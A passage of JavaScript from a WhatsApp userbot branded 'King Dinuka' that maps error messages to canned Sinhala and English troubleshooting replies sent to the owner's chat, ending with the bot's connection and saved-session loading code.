'\n*හේතුව:* _නිශ්චිත හේතුව නොදනී. විකල්ප කිහිපයක් මෙම දෝෂය ඇති වීමට හේතු විය හැක.._' + '\n*විසදුම:* _ඔබ එය නැවත භාවිතා කළහොත් එය වැඩිදියුණු විය හැකිය. දෝෂය දිගටම පැවතුනහොත්, ඔබට restart කළ හැකිය._' , MessageType.text ); } else if (error.message.includes('decode')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ දෝෂ විශ්ලේෂණය [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත!``` ==========' + '\n\n*ප්රධාන දෝශය:* _පෙළ හෝ මාධ්ය විකේතනය කළ නොහැක_' + '\n*හේතුව:* _කමාන්ඩ් එක වැරදි ලෙස භාවිතා කිරීම._' + '\n*විසදුම:* _කමාන්ඩ් විස්තරයේ ලියා ඇති පරිදි කරුණාකර විධානයන් භාවිතා කරන්න._' , MessageType.text ); } else if (error.message.includes('unescaped')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```දෝෂ නිරාකරණය කර ඇත!``` ==========' + '\n\n*ප්රධාන දෝශය:* _අකුරු චරිත භාවිතය_' + '\n*හේතුව:* _ලතින් හෝඩියේ පිටත TTP, ATTP වැනි විධානයන් භාවිතා කිරීම._' + '\n*විසදුම:* _ඔබ ලතින් හෝඩියේ විධානය භාවිතා කළහොත් ගැටළුව විසඳනු ඇත ...._' , MessageType.text ); } else { return await CdSew.sendMessage(CdSew.user.jid, '*🙇🏻 Sorry, I Couldnt Read This Error! 🙇🏻*' + '\n_You can write to our support group for more help._' , MessageType.text ); } } else { if (error.message.includes('URL')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved!``` ==========' + '\n\n*Main Error:* _Only Absolutely URLs Supported_' + '\n*Reason:* _The usage of media tools (xmedia, sticker..) in the LOG number._' + '\n*Solution:* _You can use commands in any chat, except the LOG number._' , MessageType.text ); } else if (error.message.includes('conversation')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved!``` ==========' + '\n\n*Main Error:* _Deleting Plugin_' + '\n*Reason:* _Entering incorrectly the name of the plugin wanted to be deleted._' + '\n*Solution:* _Please try without adding_ *__* _to the plugin you want to delete. If you still get an error, try to add like_ ```?(.*) / $``` _to the end of the name._ ' , MessageType.text ); } else if (error.message.includes('split')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved!``` ==========' + '\n\n*Main Error:* _Split of Undefined_' + '\n*Reason:* _Commands that can be used by group admins occasionally dont see the split function._ ' + '\n*Solution:* _Restarting will be enough._' , MessageType.text ); } else if (error.message.includes('SSL')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved!``` ==========' + '\n\n*Main Error:* _SQL Database Error_' + '\n*Reason:* _Database corruption._ ' + '\n*Solution:* _There is no known solution. You can try reinstalling it._' , MessageType.text ); } else if (error.message.includes('Ookla')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved!``` ==========' + '\n\n*Main Error:* _Ookla Server Connection_' + '\n*Reason:* _Speedtest data cannot be transmitted to the server._' + '\n*Solution:* _If you use it one more time the problem will be solved._' , MessageType.text ); } else if (error.message.includes('params')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved!``` ==========' + '\n\n*Main Error:* _Requested Audio Params_' + '\n*Reason:* _Using the TTS command outside the Latin alphabet._' + '\n*Solution:* _The problem will be solved if you use the command in Latin letters frame._' , MessageType.text ); } else if (error.message.includes('unlink')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved``` ==========' + '\n\n*Main Error:* _No Such File or Directory_' + '\n*Reason:* _Incorrect coding of the plugin._' + '\n*Solution:* _Please check the your plugin codes._' , MessageType.text ); } else if (error.message.includes('404')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved!``` ==========' + '\n\n*Main Error:* _Error 404 HTTPS_' + '\n*Reason:* _Failure to communicate with the server as a result of using the commands under the Heroku plugin._' + '\n*Solution:* _Wait a while and try again. If you still get the error, perform the transaction on the website.._' , MessageType.text ); } else if (error.message.includes('reply.delete')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved!``` ==========' + '\n\n*Main Error:* _Reply Delete Function_' + '\n*Reason:* _Using IMG or Wiki commands._' + '\n*Solution:* _There is no solution for this error. It is not a fatal error._' , MessageType.text ); } else if (error.message.includes('load.delete')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved!``` ==========' + '\n\n*Main Error:* _Reply Delete Function_' + '\n*Reason:* _Using IMG or Wiki commands._' + '\n*Solution:* _There is no solution for this error. It is not a fatal error._' , MessageType.text ); } else if (error.message.includes('400')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved!``` ==========' + '\n\n*Main Error:* _Bailyes Action Error_ ' + '\n*Reason:* _The exact reason is unknown. More than one option may have triggered this error._' + '\n*Solution:* _If you use it again, it may improve. If the error continues, you can try to restart._' , MessageType.text ); } else if (error.message.includes('decode')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved!``` ==========' + '\n\n*Main Error:* _Cannot Decode Text or Media_' + '\n*Reason:* _Incorrect use of the plug._' + '\n*Solution:* _Please use the commands as written in the plugin description._' , MessageType.text ); } else if (error.message.includes('unescaped')) { return await CdSew.sendMessage(CdSew.user.jid, '*🧟♂️ ERROR ANALYSIS [King Dinuka] 🧟♀️*' + '\n========== ```Error Resolved!``` ==========' + '\n\n*Main Error:* _Word Character Usage_' + '\n*Reason:* _Using commands such as TTP, ATTP outside the Latin alphabet._' + '\n*Solution:* _The problem will be solved if you use the command in Latin alphabet.._' , MessageType.text ); } else { return await CdSew.sendMessage(CdSew.user.jid, '*🙇🏻 Sorry, I Couldnt Read This Error! 🙇🏻*' + '\n_You can write to our support group for more help._' , MessageType.text ); } } } } } } ) }); // ==================== End Error Message ==================== try { await CdSew.connect(); } catch { if (!nodb) { console.log(chalk.red.bold('Loading Old Version Session...')) CdSew.loadAuthInfo(Session.deCrypt(Raviya.SESSION)); try { await CdSew.connect(); } catch { return; } } } } King Dinuka();